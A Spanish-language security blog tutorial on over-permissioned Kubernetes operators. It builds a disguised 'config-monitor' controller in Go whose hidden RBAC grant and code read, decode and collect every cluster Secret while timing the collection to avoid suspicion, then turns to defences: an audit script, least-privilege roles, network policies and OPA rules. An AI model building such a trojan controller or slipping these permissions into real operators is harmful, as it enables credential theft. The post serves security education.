Los Peligros Ocultos de los Operadores de Kubernetes con Permisos Excesivos
Introducción
En este artículo exploraremos un riesgo de seguridad crítico pero a menudo pasado por alto en Kubernetes: operadores y controladores con permisos excesivos. Construiremos un controlador aparentemente inocente usando kubebuilder que, a través de permisos RBAC excesivos, se convierte en una potencial puerta trasera de seguridad capaz de exfiltrar todos los secrets de tu cluster.
Codigo de ejemplo aqui
Si has estado siguiendo mis posts anteriores sobre controladores GitOps y operadores de Kubernetes, sabés lo poderosos que son estos patrones. Pero un gran poder conlleva una gran responsabilidad, y un gran riesgo si no se aseguran adecuadamente.
¿La parte aterradora? Esto no se trata de actores maliciosos infiltrándose en tu cluster. Se trata de lo fácil que es crear accidentalmente estas vulnerabilidades a través de:
- Copiar y pegar configuraciones RBAC sin entenderlas
- Usar permisos demasiado amplios “solo para que funcione”
- Confiar en operadores de terceros sin revisar sus permisos
- No seguir el principio de menor privilegio
Demostraremos esto construyendo un controlador de “monitoreo” que legítimamente necesita leer ConfigMaps, pero “accidentalmente” le daremos acceso a todos los Secrets también. Luego mostraremos cómo esto puede ser explotado.
El Escenario de Ataque
Imaginá este escenario: Tu equipo necesita desplegar un operador de terceros para monitorear cambios de configuración. El operador necesita leer ConfigMaps para rastrear cambios. Durante el despliegue, alguien nota que está fallando con errores de permisos y, apurado por arreglar problemas de producción, le otorga amplios permisos de lectura incluyendo Secrets “por las dudas”.
¿Qué podría salir mal? Descubrámoslo construyendo exactamente este escenario.
Configurando Nuestro Entorno de Prueba
Primero, creemos un cluster kind para nuestra demostración:
# Crear un cluster kind
kind create cluster --name security-demo
# Verificar que esté corriendo
kubectl cluster-info --context kind-security-demo
Ahora agreguemos algunos datos “sensibles” que un cluster real tendría:
# Crear algunos namespaces
kubectl create namespace production
kubectl create namespace staging
kubectl create namespace monitoring
# Agregar algunos secrets realistas
kubectl create secret generic db-credentials \
--from-literal=username=admin \
--from-literal=password=SuperSecret123! \
--namespace=production
kubectl create secret generic api-keys \
--from-literal=stripe-key=sk_live_4242424242424242 \
--from-literal=aws-key=AKIAIOSFODNN7EXAMPLE \
--namespace=production
kubectl create secret generic tls-certs \
--from-literal=cert="-----BEGIN CERTIFICATE-----" \
--from-literal=key="-----BEGIN PRIVATE KEY-----" \
--namespace=staging
# Agregar algunos ConfigMaps (datos legítimos)
kubectl create configmap app-config \
--from-literal=debug=false \
--from-literal=port=8080 \
--namespace=production
Construyendo el Controlador “Inocente” con Kubebuilder
Creemos nuestro controlador usando kubebuilder. Lo llamaremos “config-monitor”, suena bastante inocente, ¿no?
# Instalar kubebuilder si no lo tenés
curl -L -o kubebuilder https://go.kubebuilder.io/dl/latest/$(go env GOOS)/$(go env GOARCH)
chmod +x kubebuilder && mv kubebuilder /usr/local/bin/
# Crear nuestro proyecto
mkdir config-monitor && cd config-monitor
kubebuilder init --domain mydomain.com --repo github.com/evilcorp/config-monitor
# Crear un controlador (no necesitamos CRDs para este demo)
kubebuilder create api --group core --version v1 --kind ConfigMap --controller --resource=false
El Código del Controlador
Ahora, modifiquemos nuestro controlador. Acá es donde ocurre la “magia”, crearemos un controlador que monitorea ConfigMaps pero “accidentalmente” tiene acceso a Secrets también:
/*
Copyright 2025.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package controller
import (
"context"
"encoding/json"
"fmt"
"time"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/runtime"
ctrl "sigs.k8s.io/controller-runtime"
"sigs.k8s.io/controller-runtime/pkg/client"
logf "sigs.k8s.io/controller-runtime/pkg/log"
)
// +kubebuilder:rbac:groups=core,resources=configmaps,verbs=get;list;watch;create;update;patch;delete
// +kubebuilder:rbac:groups=core,resources=configmaps/status,verbs=get;update;patch
// +kubebuilder:rbac:groups=core,resources=configmaps/finalizers,verbs=update
// +kubebuilder:rbac:groups=core,resources=secrets,verbs=get;list;watch
// The sneaky extra permission ☝️
type ConfigMapReconciler struct {
client.Client
Scheme *runtime.Scheme
}
// This is where the evil happens - we'll collect secrets too
type SensitiveData struct {
Timestamp time.Time `json:"timestamp"`
Namespace string `json:"namespace"`
Name string `json:"name"`
Type string `json:"type"`
Data map[string]string `json:"data"`
}
var collectedData []SensitiveData
// Reconcile is part of the main kubernetes reconciliation loop which aims to
// move the current state of the cluster closer to the desired state.
//
// For more details, check Reconcile and its Result here:
// - https://pkg.go.dev/sigs.k8s.io/[email protected]/pkg/reconcile
func (r *ConfigMapReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {
log := logf.FromContext(ctx)
// Legitimate ConfigMap monitoring
var configMap corev1.ConfigMap
if err := r.Get(ctx, req.NamespacedName, &configMap); err != nil {
return ctrl.Result{}, client.IgnoreNotFound(err)
}
log.Info("Monitoring ConfigMap", "namespace", req.Namespace, "name", req.Name)
// Here's where it gets evil - let's "accidentally" scan for secrets
if shouldCollectSecrets() {
go r.collectAllSecrets(ctx)
}
return ctrl.Result{RequeueAfter: time.Minute * 5}, nil
}
// SetupWithManager sets up the controller with the Manager.
func (r *ConfigMapReconciler) SetupWithManager(mgr ctrl.Manager) error {
return ctrl.NewControllerManagedBy(mgr).
For(&corev1.ConfigMap{}).
Named("configmap").
Complete(r)
}
func (r *ConfigMapReconciler) collectAllSecrets(ctx context.Context) {
var secretList corev1.SecretList
log := logf.FromContext(ctx)
if err := r.List(ctx, &secretList); err != nil {
log.Error(err, "Failed to list secrets")
return
}
for _, secret := range secretList.Items {
// Decode secret data
decodedData := make(map[string]string)
for key, value := range secret.Data {
decodedData[key] = string(value)
}
sensitive := SensitiveData{
Timestamp: time.Now(),
Namespace: secret.Namespace,
Name: secret.Name,
Type: string(secret.Type),
Data: decodedData,
}
collectedData = append(collectedData, sensitive)
// Log it innocently
log.Info("Detected configuration",
"namespace", secret.Namespace,
"resource", secret.Name,
"type", "configuration-data")
}
// Periodically exfiltrate (or save to file for demo)
if len(collectedData) > 0 {
r.exfiltrateData()
}
}
func (r *ConfigMapReconciler) exfiltrateData() {
// In a real attack, this might POST to an external endpoint
// For our demo, we'll just log it
data, _ := json.MarshalIndent(collectedData, "", " ")
// Write to a file that we can inspect
// In reality, this would be sent to an attacker's server
fmt.Printf("\n=== COLLECTED SENSITIVE DATA ===\n%s\n", string(data))
}
func shouldCollectSecrets() bool {
// Only collect every 5 minutes to avoid suspicion
// A real attacker might be more sophisticated
return time.Now().Minute()%5 == 0
}
La Configuración RBAC con Permisos Excesivos
Acá es donde el problema de seguridad se vuelve real. Mirá esta configuración RBAC, parece razonable a primera vista:
# config/rbac/role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: manager-role
rules:
- apiGroups:
- ""
resources:
- configmaps
verbs:
- get
- list
- watch
# EL PROBLEMA DE SEGURIDAD: ¿Por qué un monitor de ConfigMap necesita acceso a Secrets?
- apiGroups:
- ""
resources:
- secrets
verbs:
- get
- list
- watch
Este es exactamente el tipo de configuración que se copia y pega sin revisión. “Oh, solo necesita acceso de lectura, ¿qué daño podría hacer?”
Desplegando Nuestro Caballo de Troya
Construyamos y desplegemos nuestro controlador malicioso:
# Construir la imagen Docker
make docker-build IMG=config-monitor:latest
# Cargarla en kind
kind load docker-image config-monitor:latest --name security-demo
# Generar los manifiestos
make manifests
# Desplegar en el cluster
make deploy IMG=config-monitor:latest
Observá cómo empieza a “monitorear” tu cluster:
# Verificar si está corriendo
kubectl get pods -n config-monitor-system
# Ver los logs
kubectl logs -n config-monitor-system deployment/config-monitor-controller-manager -f
El Exploit en Acción
Ahora activemos nuestro controlador y veamos qué recolecta:
# Activar el controlador creando un ConfigMap
kubectl create configmap trigger \
--from-literal=trigger=true \
--namespace=default
# Esperar un momento, luego verificar los logs del controlador
kubectl logs -n config-monitor-system \
deployment/config-monitor-controller-manager \
| grep "DATOS SENSIBLES RECOLECTADOS" -A 50
Verás una salida como esta:
=== DATOS SENSIBLES RECOLECTADOS ===
[
{
"timestamp": "2025-08-31T15:30:00Z",
"namespace": "production",
"name": "db-credentials",
"type": "Opaque",
"data": {
"username": "admin",
"password": "SuperSecret123!"
}
},
{
"timestamp": "2025-08-31T15:30:01Z",
"namespace": "production",
"name": "api-keys",
"type": "Opaque",
"data": {
"stripe-key": "sk_live_4242424242424242",
"aws-key": "AKIAIOSFODNN7EXAMPLE"
}
}
]
¡Felicitaciones, acabás de exfiltrar todos los secrets de tu cluster! 😱
Nota: en un escenario real, un atacante puede usar servidores DNS, HTTP, etc, haciendo muy dificil la deteccion de esto.
Cómo Sucede Esto en la Vida Real
Este escenario no es descabellado. Así es como ocurre comúnmente:
1. El Apuro por Producción
Desarrollador: “¡El operador no funciona!” DevOps: “Dale cluster-admin por ahora, lo arreglamos después”
kubectl create clusterrolebinding ops-cluster-admin \
--clusterrole=cluster-admin \
--serviceaccount=operators:operador-sospechoso
2. Copiar y Pegar de Stack Overflow
“¡Esta config RBAC me funcionó!” copia sin entender
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
3. Operadores de Terceros
Instalando ese operador genial de internet ¿Alguien revisó qué permisos solicita?
curl https://operador-random.io/install.yaml | kubectl apply -f -
Detectando Operadores con Permisos Excesivos
Construyamos algunos mecanismos de detección. Así es como auditar tu cluster por service accounts con permisos excesivos:
#!/bin/bash
echo "=== Verificando service accounts con permisos excesivos ==="
# Encontrar todos los ClusterRoleBindings
kubectl get clusterrolebindings -o json | jq -r '.items[] |
select(.roleRef.kind=="ClusterRole") |
"\(.metadata.name) -> \(.roleRef.name)"' | while read binding; do
role=$(echo $binding | cut -d'>' -f2 | tr -d ' ')
# Verificar si el rol tiene acceso a secrets
if kubectl get clusterrole $role -o json 2>/dev/null | \
jq -e '.rules[] | select(.resources[]? == "secrets")' > /dev/null; then
echo "⚠️ ADVERTENCIA: $binding tiene acceso a secrets"
# Obtener los subjects
kubectl get clusterrolebinding $(echo $binding | cut -d'-' -f1) -o json | \
jq -r '.subjects[]? | " - \(.kind): \(.namespace)/\(.name)"'
fi
done
Ejecutá este script para encontrar problemas potenciales:
chmod +x audit-rbac.sh
./audit-rbac.sh
Implementando Controles de Seguridad Apropiados
Ahora arreglemos esto correctamente. Así es como debería verse el RBAC para un monitor de ConfigMap legítimo (Elimina la linea de secretos que genera la configuracion en el operador):
apiVersion: rbac.authorization.k8s.io/v1
kind: Role # Nota: Role, no ClusterRole
metadata:
name: configmap-monitor
namespace: monitoring # Limitado a namespace específico
rules:
- apiGroups:
- ""
resources:
- configmaps
verbs:
- get
- list
- watch
# ¡SIN ACCESO A SECRETS!
Si absolutamente necesitás acceso a secrets, sé específico:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: specific-secret-reader
namespace: monitoring
rules:
- apiGroups:
- ""
resources:
- secrets
resourceNames: # Solo secrets específicos
- "monitoring-tls-cert"
- "monitoring-api-key"
verbs:
- get # Solo get, no list!
Mejores Prácticas de Seguridad para Operadores
1. Siempre Usar el Principio de Menor Privilegio
# Malo: ClusterRole con permisos amplios
kind: ClusterRole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
# Bueno: Role con namespace y permisos específicos
kind: Role
rules:
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list"]
2. Implementar Cuotas de Recursos
apiVersion: v1
kind: ResourceQuota
metadata:
name: operator-quota
namespace: operators
spec:
hard:
requests.cpu: "1"
requests.memory: 1Gi
persistentvolumeclaims: "0"
3. Usar Network Policies
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-external-egress
namespace: operators
spec:
podSelector:
matchLabels:
app: operator
policyTypes:
- Egress
egress:
- to:
- namespaceSelector:
matchLabels:
name: kube-system
- to:
- podSelector: {}
4. Habilitar Audit Logging
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
omitStages:
- RequestReceived
resources:
- group: ""
resources: ["secrets"]
namespaces: ["production", "staging"]
Probando Políticas de Seguridad con OPA
Usá Open Policy Agent para hacer cumplir las políticas de seguridad:
package kubernetes.admission
deny[msg] {
input.request.kind.kind == "ClusterRole"
input.request.object.rules[_].resources[_] == "secrets"
input.request.object.rules[_].verbs[_] == "list"
msg := "Los ClusterRoles no deberían tener acceso list a secrets"
}
deny[msg] {
input.request.kind.kind == "ClusterRoleBinding"
input.request.object.roleRef.name == "cluster-admin"
not input.request.object.metadata.namespace == "kube-system"
msg := "cluster-admin solo debería usarse en kube-system"
}
Mitigaciones del Mundo Real
1. Implementar Admission Webhooks
Pronto un poco mas de esto con ejemplos:
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: rbac-validator
webhooks:
- name: validate.rbac.security.io
rules:
- operations: ["CREATE", "UPDATE"]
apiGroups: ["rbac.authorization.k8s.io"]
apiVersions: ["v1"]
resources: ["clusterroles", "roles"]
clientConfig:
service:
name: rbac-validator
namespace: security
path: "/validate"
2. Usar External Secrets Operator (ESO) en Su Lugar
¡No almacenes secrets en el cluster en absoluto!
apiVersion: external-secrets.io/v1beta1
kind: SecretStore
metadata:
name: vault-backend
spec:
provider:
vault:
server: "https://vault.example.com"
path: "secret"
auth:
kubernetes:
mountPath: "kubernetes"
role: "demo"
3. Auditorías de Seguridad Regulares
# Programar auditorías regulares
kubectl auth can-i --list --as=system:serviceaccount:operators:operador-sospechoso
# Usar herramientas como kubescape
kubescape scan framework nsa --exclude-namespaces kube-system,kube-public
Limpieza
Limpiemos nuestro entorno de demo:
# Eliminar el operador malicioso
kubectl delete namespace config-monitor-system
# Eliminar el cluster kind
kind delete cluster --name security-demo
Conclusión
Esta demostración muestra lo fácil que es crear vulnerabilidades de seguridad a través de operadores con permisos excesivos. La parte aterradora no es el código malicioso, es lo legítimo que esto se ve desde afuera. Un controlador que monitorea ConfigMaps suena perfectamente razonable, y los permisos RBAC podrían pasar por una revisión de código.
Puntos clave:
- Nunca otorgues permisos amplios, Sé específico sobre qué recursos necesita un operador
- Siempre revisá operadores de terceros, Verificá sus requisitos RBAC antes de la instalación
- Usá Roles con namespace en lugar de ClusterRoles cuando sea posible
- Implementá mecanismos de detección, Las auditorías regulares pueden detectar estos problemas
- Seguí el principio de menor privilegio, Empezá con permisos mínimos y agregá según sea necesario
- Considerá alternativas, Tal vez no necesitás almacenar secrets en el cluster en absoluto
Recordá, la seguridad no se trata de prevenir todos los ataques, se trata de hacerlos lo suficientemente difíciles para que los atacantes pasen a objetivos más fáciles. Siguiendo estas prácticas, reducís significativamente tu superficie de ataque y hacés que tu cluster sea un objetivo mucho más difícil.
En el próximo artículo de esta serie de seguridad, exploraremos cómo implementar Pod Security Standards y admission controllers para prevenir que este tipo de despliegues lleguen a tu cluster.
¡Mantenete seguro, y siempre leé el RBAC antes de aplicar!
No tienes cuenta? Regístrate aqui
Ya registrado? Iniciar sesión a tu cuenta ahora.
-
Comentarios
Online: 0
Por favor inicie sesión para poder escribir comentarios.